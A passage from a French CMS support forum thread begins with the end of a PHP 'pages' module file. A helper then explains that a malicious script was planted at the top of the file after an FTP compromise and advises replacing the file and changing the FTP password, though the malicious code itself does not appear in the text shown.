'ROOT_CONTENTS' => $root, 'L_CATS' => $LANG['pages_cats_tree'], 'L_EXPLORER' => $LANG['pages_explorer'], 'SELECTED_CAT' => 0, 'CAT_0' => 'pages_selected_cat', 'CAT_LIST' => '' )); $contents = ''; $result = $Sql->query_while("SELECT c.id, p.title, p.encoded_title FROM " . PREFIX . "pages_cats c LEFT JOIN " . PREFIX . "pages p ON p.id = c.id_page WHERE c.id_parent = 0 ORDER BY p.title ASC", __LINE__, __FILE__); while ($row = $Sql->fetch_assoc($result)) { $sub_cats_number = $Sql->query("SELECT COUNT(*) FROM " . PREFIX . "pages_cats WHERE id_parent = '" . $row['id'] . "'", __LINE__, __FILE__); if ($sub_cats_number > 0) { $Template->assign_block_vars('list', array( 'DIRECTORY' => '<li><a href="javascript:show_cat_contents(' . $row['id'] . ', 0);"><img src="' . $Template->get_module_data_path('pages') . '/images/plus.png" alt="" id="img2_' . $row['id'] . '" style="vertical-align:middle" /></a> <a href="javascript:show_cat_contents(' . $row['id'] . ', 0);"><img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" id ="img_' . $row['id'] . '" alt="" style="vertical-align:middle" /></a> <span id="class_' . $row['id'] . '" class=""><a href="javascript:open_cat(' . $row['id'] . ');">' . $row['title'] . '</a></span><span id="cat_' . $row['id'] . '"></span></li>' )); } else { $Template->assign_block_vars('list', array( 'DIRECTORY' => '<li style="padding-left:17px;"><img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" alt="" style="vertical-align:middle" /> <span id="class_' . $row['id'] . '" class=""><a href="javascript:open_cat(' . $row['id'] . ');">' . $row['title'] . '</a></span><span id="cat_' . $row['id'] . '"></span></li>' )); } } $Sql->query_close($result); $Template->pparse('index'); } require_once('../kernel/footer.php'); ?>
Tu avais un soucis de guillemet dans ton script.
Edit : Est-ce toi qui a ajouté ce script ?
Édité par Visiteur Le 15/05/2012 à 16h27
Oscarbravo Membre non connecté
Booster Fronde
-
Booster Fronde
- Voir le profil du membre Oscarbravo
- Inscrit le : 15/05/2012
Visiteur
Boosteur Inactif
Le script que tu as tout en haut est un script malicieux.
Remplace le fichier comme cité plus haut, sans te soucier des guillemets.
Une fois ceci fait, change le mot de passe de ton FTP.
Quelqu'un est rentré sur ton FTP et a modifié ce fichier.
Oscarbravo Membre non connecté
Booster Fronde
-
Booster Fronde
- Voir le profil du membre Oscarbravo
- Inscrit le : 15/05/2012
quand le problème seras resolu, je changerais le mot de pass
je t'ai envoyer les detail par MP, si tu sais regardé se serais gentil moi j'essaye mais je comprend rien
surtout avec les guillemets
Édité par Oscarbravo Le 15/05/2012 à 16h45
Répondre
Vous n'êtes pas autorisé à écrire dans cette catégorie